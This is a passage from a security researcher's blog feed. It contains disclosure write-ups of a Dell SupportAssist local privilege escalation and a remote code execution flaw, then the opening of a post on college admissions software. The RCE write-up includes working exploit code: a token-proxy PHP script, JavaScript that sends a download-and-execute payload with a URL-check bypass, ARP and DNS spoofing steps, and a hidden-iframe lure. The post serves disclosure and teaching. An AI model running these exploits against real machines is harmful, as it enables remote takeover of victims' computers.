Agent will start a child process named <code>SupportAssistAppWire.exe</code>, with <code>InheritHandles</code> set to true.</li><li><code>SupportAssistAppWire.exe</code> will then create the notification.</li></ol><p>The flaw in the code can be seen in the call to <code>CreateProcessAsUser</code>.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/9y2LV4Q.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>As we saw in the Discovery section of this post, <code>SupportAssistAgent.exe</code>, an elevated process running as <code>SYSTEM</code> starts a child process using the unelevated explorer token and sets <code>InheritHandles</code> to true. This means that all inheritable handles that the Agent has will be inherited by the child process. It turns out that the thread handle for the service control handler for the Agent is marked as inheritable.</p><h2 id="exploiting">Exploiting</h2><p>Now that we have a way of getting a FULL CONTROL thread handle to a <code>SYSTEM</code> process, how do we exploit it? Well, the simplest way I thought of was to call <code>LoadLibrary</code> to load our module. In order to do this, we need to get past a few requirements.</p><ol><li>We need to be able to predict the address of a buffer that contains a file path that we can access. For example, if we had a buffer with a predictable address that contained &quot;C:\somepath\etc...&quot;, we could write a DLL file to that path and pass <code>LoadLibrary</code> the buffer address.</li><li>We need to find a way to use <code>QueueUserApc</code> to call <code>LoadLibrary</code>. This means that we need to have the thread become alertable.</li></ol><p>I thought of various ways I could have my string loaded into the memory of the Agent, but the difficult part was finding a way to predict the address of the buffer. Then I had an idea. Does LoadLibrary accept files that don&#x2019;t have a binary extension?</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/lM0BB3y.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>It appeared so! This meant that the file path in a buffer only needed to be a file we can access; not necessarily have a binary extension such as <code>.exe</code> or <code>.dll</code>. To find a buffer that was already in memory, I opted to use <code>Process Hacker</code> which includes a Strings utility with built-in filtering. I scanned for strings in an Image that contained <code>C:\</code>. The first hit I got shocked me.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/9HV3pTD.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>Look at the address of the first string, <code>0x180163f88</code>... was a module running without ASLR? Checking the modules list for the Agent, I saw something pretty scary.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/K3FZRM7.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>A module named <code>sqlite3.dll</code> had been loaded with a base address of <code>0x180000000</code>. Checking the module in <code>CFF Explorer</code> confirmed my findings.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/8ZhqJk0.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>The DLL was built without the <code>IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE</code> characteristic, meaning that ASLR was disabled for it. Somehow this got into the final release build of a piece of software deployed on millions of endpoints. This weakness makes our lives significantly easier because the buffer contained the path <code>c:\dev\sqlite\core\sqlite3.pdb</code>, a file path we could access!</p><p>We already determined that the extension makes no difference meaning that if I write a DLL to <code>c:\dev\sqlite\core\sqlite3.pdb</code> and pass the buffer pointer to <code>LoadLibrary</code>, the module we wrote to <code>c:\dev\sqlite\core\sqlite3.pdb</code> should be loaded.</p><p>Now that we got the first problem sorted, the next part of our exploitation is to get the thread to be alertable. What I found in my testing is that this thread was the service control handler for the Agent. This meant that the thread was in a Wait Non-Alertable state because it was waiting for a service control signal to come through.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/yTGuNGR.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>Checking the service permissions for the Agent, I found that the <code>INTERACTIVE</code> group had some permissions. Luckily, <code>INTERACTIVE</code> includes unprivileged users, meaning that the permissions applied directly to us.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/nApdmFB.png" class="kg-image" alt="Local Privilege Escalation on Dell machines running Windows" loading="lazy"></figure><p>Both <code>Interrogate</code> and <code>User-defined control</code> sends a service signal to the thread, meaning we can get out of the Wait state. Since the thread continued execution after receiving a service control signal, we can use <code>SetThreadContext</code> and set the <code>RIP</code> pointer to a target function. The function <code>NtTestAlert</code> was perfect for this situation because it immediately makes the thread alertable and executes our APCs.</p><p>To summarize the exploitation process:</p><ol><li>The stager monitors for the child <code>SupportAssistAppWire.exe</code> process.</li><li>The stager writes a malicious APC DLL to <code>C:\dev\sqlite\core\sqlite3.pdb</code>.</li><li>Once the child process is created, the stager injects our malicious DLL into the process.</li><li>The DLL finds the leaked thread handle using a brute-force method (<code>NtQuerySystemInformation</code> works just as well).</li><li>The DLL sets the <code>RIP</code> register of the Agent&apos;s thread to <code>NtTestAlert</code>.</li><li>The DLL queues an APC passing in <code>LoadLibraryA</code> for the user routine and <code>0x180163f88</code> (buffer pointer) as the first argument.</li><li>The DLL issues an <code>INTERROGATE</code> service control to the service.</li><li>The Agent then goes to <code>NtTestAlert</code> triggering the APC which causes the APC DLL to be loaded.</li><li>The APC DLL starts our malicious binary (for the PoC it&apos;s command prompt) while in the context of a <code>SYSTEM</code> process, causing local privilege escalation.</li></ol><p>Dell&apos;s advisory can be accessed <a href="https://www.dell.com/support/article/us/en/04/sln317453/dsa-2019-088-dell-supportassist-security-update-for-improper-privilege-management-vulnerability">here</a>.</p><h2 id="demo">Demo</h2><h2 id="privacy-concerns">Privacy concerns</h2><p>After spending a long time reversing the Dell SupportAssist agent, I&apos;ve come across a lot of practices that are in my opinion very questionable. I&apos;ll leave it up to you, the reader, to decide what you consider acceptable.</p><ol><li>On most exceptions, the agent will send the exception detail along with your service tag to Dell&apos;s servers.</li><li>Whenever a file is executed for Download and Auto install, Dell will send the file name, your service tag, the status of the installer, and the logs for that install to their servers.</li><li>Whenever you scan for driver updates, any updates found will be sent to Dell&#x2019;s servers alongside your service tag.</li><li>Whenever Dell retrieves scan results about your bios, pnp drivers, installed programs, and operating system information, all of it is uploaded to Dell servers.</li><li>Every week your entire log directory is uploaded to Dell servers (yes, Dell logs by default).</li><li>Every two weeks, Dell uploads a &#x201C;heartbeat&#x201D; including your device details, alerts, software scans, and much more.</li></ol><p>You can disable some of this, but it&#x2019;s enabled by default. Think about the millions of endpoints running Dell SupportAssist&#x2026;</p><h2 id="timeline">Timeline</h2><p>04/25/2019 - Initial write up and proof of concept sent to Dell.</p><p>04/26/2019 - Initial response from Dell.</p><p>05/08/2019 - Dell has confirmed the vulnerability.</p><p>05/27/2019 - Dell has a fix ready to be released within 2 weeks.</p><p>06/19/2019 - Vulnerability disclosed by Dell as an <a href="https://www.dell.com/support/article/us/en/04/sln317453/dsa-2019-088-dell-supportassist-security-update-for-improper-privilege-management-vulnerability">advisory</a>.</p><p>06/28/2019 - Vulnerability disclosed at RECON Montreal 2019.</p>]]></content:encoded></item><item><title><![CDATA[Remote Code Execution on most Dell computers]]></title><description><![CDATA[<p>What computer do you use? Who made it? Have you ever thought about what came with your computer? When we think of Remote Code Execution (RCE) vulnerabilities in mass, we might think of vulnerabilities in the operating system, but another attack vector to consider is &quot;What third-party software came</p>]]></description><link>https://billdemirkapi.me/remote-code-execution-on-most-dell-computers/</link><guid isPermaLink="false">60276f5ad8acfdb32a87706f</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Tue, 30 Apr 2019 12:52:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2021/02/dell-supportassist-flaw-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2021/02/dell-supportassist-flaw-1.jpg" alt="Remote Code Execution on most Dell computers"><p>What computer do you use? Who made it? Have you ever thought about what came with your computer? When we think of Remote Code Execution (RCE) vulnerabilities in mass, we might think of vulnerabilities in the operating system, but another attack vector to consider is &quot;What third-party software came with my PC?&quot;. In this article, I&apos;ll be looking at a Remote Code Execution vulnerability I found in <a href="https://www.dell.com/support/contents/us/en/04/article/product-support/self-support-knowledgebase/software-and-downloads/supportassist">Dell SupportAssist</a>, software meant to &quot;proactively check the health of your system&#x2019;s hardware and software&quot; and which is &quot;preinstalled on most of all new Dell devices&quot;.</p><h1 id="discovery">Discovery</h1><p>Back in September, I was in the market for a new laptop because my 7-year-old Macbook Pro just wasn&apos;t cutting it anymore. I was looking for an affordable laptop that had the performance I needed and I decided on Dell&apos;s G3 15 laptop. I decided to upgrade my laptop&apos;s 1 terabyte hard drive to an SSD. After upgrading and re-installing Windows, I had to install drivers. This is when things got interesting. After visiting Dell&apos;s support site, I was prompted with an interesting option.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/Bc8Cx6H.png" class="kg-image" alt="Remote Code Execution on most Dell computers" loading="lazy"></figure><p>&quot;Detect PC&quot;? How would it be able to detect my PC? Out of curiosity, I clicked on it to see what happened.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/USoJume.png" class="kg-image" alt="Remote Code Execution on most Dell computers" loading="lazy"></figure><p>A program which automatically installs drivers for me. Although it was a convenient feature, it seemed risky. The agent wasn&apos;t installed on my computer because it was a fresh Windows installation, but I decided to install it to investigate further. It was very suspicious that Dell claimed to be able to update my drivers through a website.</p><p>Installing it was a painless process with just a click to install button. In the shadows, the SupportAssist Installer created the <code>SupportAssistAgent</code> and the <code>Dell Hardware Support</code> service. These services corresponded to .NET binaries making it easy to reverse engineer what it did. After installing, I went back to the Dell website and decided to check what it could find.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/3koDq6L.png" class="kg-image" alt="Remote Code Execution on most Dell computers" loading="lazy"></figure><p>I opened the Chrome Web Inspector and the Network tab then pressed the &quot;Detect Drivers&quot; button.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/bEVfaii.png" class="kg-image" alt="Remote Code Execution on most Dell computers" loading="lazy"></figure><p>The website made requests to port <code>8884</code> on my local computer. Checking that port out on Process Hacker showed that the <code>SupportAssistAgent</code> service had a web server on that port. What Dell was doing is exposing a REST API of sorts in their service which would allow communication from the Dell website to do various requests. The web server replied with a strict <code>Access-Control-Allow-Origin</code> header of <code>https://www.dell.com</code> to prevent other websites from making requests.</p><p>On the web browser side, the client was providing a signature to authenticate various commands. These signatures are generated by making a request to <code>https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken</code> which also provides when the signature expires. After pressing download drivers on the web side, this request was of particular interest:</p><pre><code>POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&amp;signature=signature
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Origin: https://www.dell.com
Referer: https://www.dell.com/support/home/us/en/19/product-support/servicetag/xxxxx/drivers?showresult=true&amp;files=1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
</code></pre><p>The body:</p><pre><code class="language-json">[
    {
    &quot;title&quot;:&quot;Dell G3 3579 and 3779 System BIOS&quot;,
    &quot;category&quot;:&quot;BIOS&quot;,
    &quot;name&quot;:&quot;G3_3579_1.9.0.exe&quot;,
    &quot;location&quot;:&quot;https://downloads.dell.com/FOLDER05519523M/1/G3_3579_1.9.0.exe?uid=29b17007-bead-4ab2-859e-29b6f1327ea1&amp;fn=G3_3579_1.9.0.exe&quot;,
    &quot;isSecure&quot;:false,
    &quot;fileUniqueId&quot;:&quot;acd94f47-7614-44de-baca-9ab6af08cf66&quot;,
    &quot;run&quot;:false,
    &quot;restricted&quot;:false,
    &quot;fileId&quot;:&quot;198393521&quot;,
    &quot;fileSize&quot;:&quot;13 MB&quot;,
    &quot;checkedStatus&quot;:false,
    &quot;fileStatus&quot;:-99,
    &quot;driverId&quot;:&quot;4WW45&quot;,
    &quot;path&quot;:&quot;&quot;,
    &quot;dupInstallReturnCode&quot;:&quot;&quot;,
    &quot;cssClass&quot;:&quot;inactive-step&quot;,
    &quot;isReboot&quot;:true,
    &quot;DiableInstallNow&quot;:true,
    &quot;$$hashKey&quot;:&quot;object:175&quot;
    }
]
</code></pre><p>It seemed like the web client could make direct requests to the <code>SupportAssistAgent</code> service to &quot;download and manually install&quot; a program. I decided to find the web server in the <code>SupportAssistAgent</code> service to investigate what commands could be issued.</p><p>On start, Dell SupportAssist starts a web server (System.Net.HttpListener) on either port 8884, 8883, 8886, or port 8885. The port depends on whichever one is available, starting with 8884. On a request, the ListenerCallback located in HttpListenerServiceFacade calls ClientServiceHandler.ProcessRequest.</p><p>ClientServiceHandler.ProcessRequest, the base web server function, starts by doing integrity checks for example making sure the request came from the local machine and various other checks. Later in this article, we&#x2019;ll get into some of the issues in the integrity checks, but for now most are not important to achieve RCE.</p><p>An important integrity check for us is in ClientServiceHandler.ProcessRequest, specifically the point at which the server checks to make sure my referrer is from Dell. ProcessRequest calls the following function to ensure that I am from Dell:</p><pre><code>// Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0
public static bool ValidateDomain(Uri request, Uri urlReferrer)
{
	return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) &amp;&amp; (request.Host.ToLower().StartsWith(&quot;127.0.0.1&quot;) || request.Host.ToLower().StartsWith(&quot;localhost&quot;)) &amp;&amp;request.Scheme.ToLower().StartsWith(&quot;http&quot;) &amp;&amp; urlReferrer.Scheme.ToLower().StartsWith(&quot;http&quot;);
}

// Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124
public static bool ValidateDomain(string domain)
{
	return domain.EndsWith(&quot;.dell.com&quot;) || domain.EndsWith(&quot;.dell.ca&quot;) || domain.EndsWith(&quot;.dell.com.mx&quot;) || domain.EndsWith(&quot;.dell.com.br&quot;) || domain.EndsWith(&quot;.dell.com.pr&quot;) || domain.EndsWith(&quot;.dell.com.ar&quot;) || domain.EndsWith(&quot;.supportassist.com&quot;);
}
</code></pre><p>The issue with the function above is the fact that it really isn&#x2019;t a solid check and gives an<br>attacker a lot to work with. To bypass the Referer/Origin check, we have a few options:</p><ol><li>Find a Cross Site Scripting vulnerability in any of Dell&#x2019;s websites (I should only have to<br>find one on the sites designated for SupportAssist)</li><li>Find a Subdomain Takeover vulnerability</li><li>Make the request from a local program</li><li>Generate a random subdomain name and use an external machine to DNS Hijack the victim. Then, when the victim requests [random].dell.com, we respond with our server.</li></ol><p>In the end, I decided to go with option 4, and I&#x2019;ll explain why in a later bit. After verifying the Referer/Origin of the request, ProcessRequest sends the request to corresponding functions for GET, POST, and OPTIONS.</p><p>When I was learning more about how Dell SupportAssist works, I intercepted different types of requests from Dell&#x2019;s support site. Luckily, my laptop had some pending updates, and I was able to intercept requests through my browsers console.</p><p>At first, the website tries to detect SupportAssist by looping through the aformentioned service ports and connecting to the Service Method &#x201C;isalive&#x201D;. What was interesting was that it was passing a &#x201C;Signature&#x201D; parameter and a &#x201C;Expires&#x201D; parameter. To find out more, I reversed the javascript side of the browser. Here&#x2019;s what I found out:</p><ol><li>First, the browser makes a request to <a href="https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken">https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken</a> and gets the latest &#x201C;Token&#x201D;, or the signatures I was talking about earlier. The endpoint also provides the &#x201C;Expires token&#x201D;. This solves the signature problem.</li><li>Next, the browser makes a request to each service port with a style like this: <a href="http://127.0.0.1">http://127.0.0.1</a>:[SERVICEPORT]/clientservice/isalive/?expires=[EXPIRES]&amp;signature=[SIGNATURE].</li><li>The SupportAssist client then responds when the right service port is reached, with a style like this:</li></ol><pre><code class="language-json">{
	&quot;isAlive&quot;: true,
	&quot;clientVersion&quot;: &quot;[CLIENT VERSION]&quot;,
	&quot;requiredVersion&quot;: null,
	&quot;success&quot;: true,
	&quot;data&quot;: null,
	&quot;localTime&quot;: [EPOCH TIME],
	&quot;Exception&quot;: {
		&quot;Code&quot;: null,
		&quot;Message&quot;: null,
		&quot;Type&quot;: null
	}
}
</code></pre><ol><li>Once the browser sees this, it continues with further requests using the now determined<br>service port.</li></ol><p>Some concerning factors I noticed while looking at different types of requests I could make is that I could get a very detailed description of every piece of hardware connected to my computer using the &#x201C;getsysteminfo&#x201D; route. Even through Cross Site Scripting, I was able to access this data, which is an issue because I could seriously fingerprint a system and find some sensitive information.</p><p>Here are the methods the agent exposes:</p><pre><code>clientservice_getdevicedrivers - Grabs available updates.
diagnosticsservice_executetip - Takes a tip guid and provides it to the PC Doctor service (Dell Hardware Support).
downloadservice_downloadfiles - Downloads a JSON array of files.
clientservice_isalive - Used as a heartbeat and returns basic information about the agent.
clientservice_getservicetag - Grabs the service tag.
localclient_img - Connects to SignalR (Dell Hardware Support).
diagnosticsservice_getsysteminfowithappcrashinfo - Grabs system information with crash dump information.
clientservice_getclientsysteminfo - Grabs information about devices on system and system health information optionally.
diagnosticsservice_startdiagnosisflow - Used to diagnose issues on system.
downloadservice_downloadmanualinstall - Downloads a list of files but does not execute them.
diagnosticsservice_getalertsandnotifications - Gets any alerts and notifications that are pending.
diagnosticsservice_launchtool - Launches a diagnostic tool.
diagnosticsservice_executesoftwarefixes - Runs remediation UI and executes a certain action.
downloadservice_createiso - Download an ISO.
clientservice_checkadminrights - Check if the Agent privileged.
diagnosticsservice_performinstallation - Update SupportAssist.
diagnosticsservice_rebootsystem - Reboot system.
clientservice_getdevices - Grab system devices.
downloadservice_dlmcommand - Check on the status of or cancel an ongoing download.
diagnosticsservice_getsysteminfo - Call GetSystemInfo on PC Doctor (Dell Hardware Support).
downloadservice_installmanual - Install a file previously downloaded using downloadservice_downloadmanualinstall.
downloadservice_createbootableiso - Download bootable iso.
diagnosticsservice_isalive - Heartbeat check.
downloadservice_downloadandautoinstall - Downloads a list of files and executes them.
clientservice_getscanresults - Gets driver scan results.
downloadservice_restartsystem - Restarts the system.
</code></pre><p>The one that caught my interest was <code>downloadservice_downloadandautoinstall</code>. This method would download a file from a specified URL and then run it. This method is ran by the browser when the user needs to install certain drivers that need to be installed automatically.</p><ol><li>After finding which drivers need updating, the browser makes a POST request to &#x201C;<a href="http://127.0.0.1">http://127.0.0.1</a>:[SERVICE PORT]/downloadservice/downloadandautoinstall?expires=[EXPIRES]&amp;signature=[SIGNATURE]&#x201D;.</li><li>The browser sends a request with the following JSON structure:</li></ol><pre><code class="language-json">[
	{
	&quot;title&quot;:&quot;DOWNLOAD TITLE&quot;,
	&quot;category&quot;:&quot;CATEGORY&quot;,
	&quot;name&quot;:&quot;FILENAME&quot;,
	&quot;location&quot;:&quot;FILE URL&quot;,
	&quot;isSecure&quot;:false,
	&quot;fileUniqueId&quot;:&quot;RANDOMUUID&quot;,
	&quot;run&quot;:true,
	&quot;installOrder&quot;:2,
	&quot;restricted&quot;:false,
	&quot;fileStatus&quot;:-99,
	&quot;driverId&quot;:&quot;DRIVER ID&quot;,
	&quot;dupInstallReturnCode&quot;:0,
	&quot;cssClass&quot;:&quot;inactive-step&quot;,
	&quot;isReboot&quot;:false,
	&quot;scanPNPId&quot;:&quot;PNP ID&quot;,
	&quot;$$hashKey&quot;:&quot;object:210&quot;
	}
] 
</code></pre><ol><li>After doing the basic integrity checks we discussed before, ClientServiceHandler.ProcessRequest sends the ServiceMethod and the parameters we passed to ClientServiceHandler.HandlePost.</li><li>ClientServiceHandler.HandlePost first puts all parameters into a nice array, then calls ServiceMethodHelper.CallServiceMethod.</li><li>ServiceMethodHelper.CallServiceMethod acts as a dispatch function, and calls the function given the ServiceMethod. For us, this is the &#x201C;downloadandautoinstall&#x201D; method:</li></ol><pre><code>if (service_Method == &quot;downloadservice_downloadandautoinstall&quot;)
{
	string files5 = (arguments != null &amp;&amp; arguments.Length != 0 &amp;&amp; arguments[0] != null) ? arguments[0].ToString() : string.Empty;
	result = DownloadServiceLogic.DownloadAndAutoInstall(files5, false);
} 
</code></pre><p>Which calls DownloadServiceLogic.DownloadAutoInstall and provides the files we sent in the JSON payload.<br>6. DownloadServiceLogic.DownloadAutoInstall acts as a wrapper (i.e handling exceptions) for DownloadServiceLogic._HandleJson.<br>7. DownloadServiceLogic._HandleJson deserializes the JSON payload containing the list of files to download, and does the following integrity checks:</p><pre><code>foreach (File file in list)
{
	bool flag2 = file.Location.ToLower().StartsWith(&quot;http://&quot;);
	if (flag2)
	{
		file.Location = file.Location.Replace(&quot;http://&quot;, &quot;https://&quot;);
	}
	bool flag3 = file != null &amp;&amp; !string.IsNullOrEmpty(file.Location) &amp;&amp; !SecurityHelper.CheckDomain(file.Location);
	if (flag3)
	{
		DSDLogger.Instance.Error(DownloadServiceLogic.Logger, &quot;InvalidFileException being thrown in _HandleJson method&quot;);
		throw new InvalidFileException();
	}
}
DownloadHandler.Instance.RegisterDownloadRequest(CreateIso, Bootable, Install, ManualInstall, list);
</code></pre><p>The above code loops through every file, and checks if the file URL we provided doesn&#x2019;t start with http:// (if it does, replace it with https://), and checks if the URL matches a list of Dell&#x2019;s download servers (not all subdomains):</p><pre><code>public static bool CheckDomain(string fileLocation)
{
	List&lt;string&gt; list = new List&lt;string&gt;
	{
		&quot;ftp.dell.com&quot;,
		&quot;downloads.dell.com&quot;,
		&quot;ausgesd4f1.aus.amer.dell.com&quot;
	};
	
	return list.Contains(new Uri(fileLocation.ToLower()).Host);
} 
</code></pre><ol><li>Finally, if all these checks pass, the files get sent to DownloadHandler.RegisterDownloadRequest at which point the SupportAssist downloads and runs the files <em>as Administrator</em>.</li></ol><p>This is enough information we need to start writing an exploit.</p><h1 id="exploitation">Exploitation</h1><p>The first issue we face is making requests to the SupportAssist client. Assume we are in the context of a Dell subdomain, we&#x2019;ll get into how exactly we do this further in this section. I decided to mimic the browser and make requests using javascript.</p><p>First things first, we need to find the service port. We can do this by polling through the predefined service ports, and making a request to &#x201C;/clientservice/isalive&#x201D;. The issue is that we need to also provide a signature. To get the signature that we pass to isalive, we can make a request to &#x201C;<a href="https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken%E2%80%9D">https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken&#x201D;</a>.</p><p>This isn&#x2019;t as straight-forwards as it might seem. The &#x201C;Access-Control-Allow-Origin&#x201D; of the signature url is set to &#x201C;<a href="https://www.dell.com">https://www.dell.com</a>&#x201D;. This is a problem, because we&#x2019;re in the context of a subdomain, probably not https. How do we get past this barrier? We make the request from our own servers!</p><p>The signatures that are returned from &#x201C;getdsdtoken&#x201D; are applicable to all machines, and not unique. I made a small PHP script that will grab the signatures:</p><pre><code class="language-php">&lt;?php
header(&apos;Access-Control-Allow-Origin: *&apos;);
echo file_get_contents(&apos;https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken&apos;);
?&gt; 
</code></pre><p>The header call allows anyone to make a request to this PHP file, and we just echo the signatures, acting as a proxy to the &#x201C;getdsdtoken&#x201D; route. The &#x201C;getdsdtoken&#x201D; route returns JSON with signatures and an expire time. We can just use JSON.parse on the results to place the signatures into a javascript object.</p><p>Now that we have the signature and expire time, we can start making requests. I made a small function that loops through each server port, and if we reach it, we set the server_port variable (global) to the port that responded:</p><pre><code class="language-javascript">function FindServer() {
	ports.forEach(function(port) {
		var is_alive_url = &quot;http://127.0.0.1:&quot; + port + &quot;/clientservice/isalive/?expires=&quot; + signatures.Expires + &quot;&amp;signature=&quot; + signatures.IsaliveToken;
		var response = SendAsyncRequest(is_alive_url, function(){server_port = port;});
	});
} 
</code></pre><p>After we have found the server, we can send our payload. This was the hardest part, we have some serious obstacles before &#x201C;downloadandautoinstall&#x201D; executes our payload.</p><p>Starting with the hardest issue, the SupportAssist client has a hard whitelist on file locations. Specifically, its host <strong>must</strong> be either &quot;ftp.dell.com&quot;, &quot;downloads.dell.com&quot;, or &quot;ausgesd4f1.aus.amer.dell.com&quot;. I almost gave up at this point, because I couldn&#x2019;t find an open redirect vulnerability on any of the sites. Then it hit me, we can do a man-in-the-middle attack.</p><p>If we could provide the SupportAssist client with a <em>http://</em> URL, we could easily intercept and change the response! This somewhat solves the hardest challenge.</p><p>The second obstacle was designed specifically to counter my solution to the first obstacle. If we look back to the steps I outlined, if the file URL starts with <em>http://</em>, it will be replaced by <em>https://</em>. This is an issue, because we can&#x2019;t really intercept and change the contents of a proper https connection. The key bypass to this mitigation was in this sentence: &#x201C;if the URL <em>starts with</em> http://, it will be replaced by https://&#x201D;. See, the thing was, if the URL string did not start with <em>http://</em>, even if there was <em>http://</em> somewhere else in the string, it wouldn&#x2019;t replace it. Getting a URL to work was tricky, but I eventually came up with &#x201C; <a href="http://downloads.dell.com/abcdefg%E2%80%9D">http://downloads.dell.com/abcdefg&#x201D;</a> (the space is intentional). When you ran the string through the starts with check, it would return false, because the string starts with &#x201C; &#x201C;, thus leaving the &#x201C;http://&#x201D; alone.</p><p>I made a function that automated sending the payload:</p><pre><code class="language-javascript">function SendRCEPayload() {
	var auto_install_url = &quot;http://127.0.0.1:&quot; + server_port + &quot;/downloadservice/downloadandautoinstall?expires=&quot; + signatures.Expires + &quot;&amp;signature=&quot; + signatures.DownloadAndAutoInstallToken;

	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open(&quot;POST&quot;, auto_install_url, true);

	var files = [];
	
	files.push({
	&quot;title&quot;: &quot;SupportAssist RCE&quot;,
	&quot;category&quot;: &quot;Serial ATA&quot;,
	&quot;name&quot;: &quot;calc.EXE&quot;,
	&quot;location&quot;: &quot; http://downloads.dell.com/calc.EXE&quot;, // those spaces are KEY
	&quot;isSecure&quot;: false,
	&quot;fileUniqueId&quot;: guid(),
	&quot;run&quot;: true,
	&quot;installOrder&quot;: 2,
	&quot;restricted&quot;: false,
	&quot;fileStatus&quot;: -99,
	&quot;driverId&quot;: &quot;FXGNY&quot;,
	&quot;dupInstallReturnCode&quot;: 0,
	&quot;cssClass&quot;: &quot;inactive-step&quot;,
	&quot;isReboot&quot;: false,
	&quot;scanPNPId&quot;: &quot;PCI\\VEN_8086&amp;DEV_282A&amp;SUBSYS_08851028&amp;REV_10&quot;,
	&quot;$$hashKey&quot;: &quot;object:210&quot;});
	
	xmlhttp.send(JSON.stringify(files)); 
}
</code></pre><p>Next up was the attack from the local network. Here are the steps I take in the external portion of my proof of concept (attacker&apos;s machine):</p><ol><li>Grab the interface IP address for the specified interface.</li><li>Start the mock web server and provide it with the filename of the payload we want to send. The web server checks if the Host header is <code>downloads.dell.com</code> and if so sends the binary payload. If the request Host has dell.com in it and is not the downloads domain, it sends the javascript payload which we mentioned earlier.</li><li>To ARP Spoof the victim, we first enable ip forwarding then send an ARP packet to the victim telling it that we&apos;re the router and an ARP packet to the router telling it that we&apos;re the victim machine. We repeat these packets every few seconds for the duration of our exploit. On exit, we will send the original mac addresses to the victim and router.</li><li>Finally, we DNS Spoof by using iptables to redirect DNS packets to a netfilter queue. We listen to this netfilter queue and check if the requested DNS name is our target URL. If so, we send a fake DNS packet back indicating that our machine is the true IP address behind that URL.</li><li>When the victim visits our subdomain (either directly via url or indirectly by an iframe), we send it the malicious javascript payload which finds the service port for the agent, grabs the signature from the php file we created earlier, then sends the RCE payload. When the RCE payload is processed by the agent, it will make a request to <code>downloads.dell.com</code> which is when we return the binary payload.</li></ol><p>You can read Dell&apos;s advisory <a href="https://www.dell.com/support/article/us/en/19/sln316857/dsa-2019-051-dell-supportassist-client-multiple-vulnerabilities">here</a>.</p><h1 id="demo">Demo</h1><p>Here&apos;s a small demo video showcasing the vulnerability. You can download the source code of the proof of concept <a href="https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC">here</a>.</p><p>The source code of the dellrce.html file featured in the video is:</p><pre><code class="language-html">&lt;h1&gt;CVE-2019-3719&lt;/h1&gt;
&lt;h1&gt;Nothing suspicious here... move along...&lt;/h1&gt;
&lt;iframe src=&quot;http://www.dellrce.dell.com&quot; style=&quot;width: 0; height: 0; border: 0; border: none; position: absolute;&quot;&gt;&lt;/iframe&gt;
</code></pre><h1 id="timeline">Timeline</h1><p>10/26/2018 - Initial write up sent to Dell.</p><p>10/29/2018 - Initial response from Dell.</p><p>11/22/2018 - Dell has confirmed the vulnerability.</p><p>11/29/2018 - Dell scheduled a &quot;tentative&quot; fix to be released in Q1 2019.</p><p>01/28/2019 - Disclosure date extended to March.</p><p>03/13/2019 - Dell is still fixing the vulnerability and has scheduled disclosure for the end of April.</p><p>04/18/2019 - Vulnerability disclosed as an <a href="https://www.dell.com/support/article/us/en/19/sln316857/dsa-2019-051-dell-supportassist-client-multiple-vulnerabilities">advisory</a>.</p>]]></content:encoded></item><item><title><![CDATA[Hacking College Admissions]]></title><description><![CDATA[<p>Getting into college is one of the more stressful time of a high school student&apos;s life. Since the admissions process can be quite subjective, students have to consider a variety of factors to convince the admissions officers that &quot;they&apos;re the one&quot;. Some families do</p>]]></description><link>https://billdemirkapi.me/hacking-college-admissions/</link><guid isPermaLink="false">60276f0cd8acfdb32a877064</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Sat, 13 Apr 2019 14:13:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2021/02/targetx.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2021/02/targetx.png" alt="Hacking College Admissions"><p>Getting into college is one of the more stressful time of a high school student&apos;s life. Since the admissions process can be quite subjective, students have to consider a variety of factors to convince the admissions officers that &quot;they&apos;re the one&quot;. Some families do as much as they can to improve their chances - even going as far as trying to cheat the system. For wealthier families, this might be donating a very large amount to the school or as we&apos;ve heard in the news recently, bribing school officials.</p><p>If you don&apos;t know about me already, I&apos;m a 17-year-old high school senior that has an extreme interest in the information security field and was part of the college admissions process this year. Being part of the college admissions process made me interested in investigating, &quot;Can you hack yourself into a school?&quot;. In this article, I&apos;ll be looking into <a href="https://www.targetx.com/">TargetX</a>, a &quot;Student Lifecycle Solution for Higher Education&quot; that 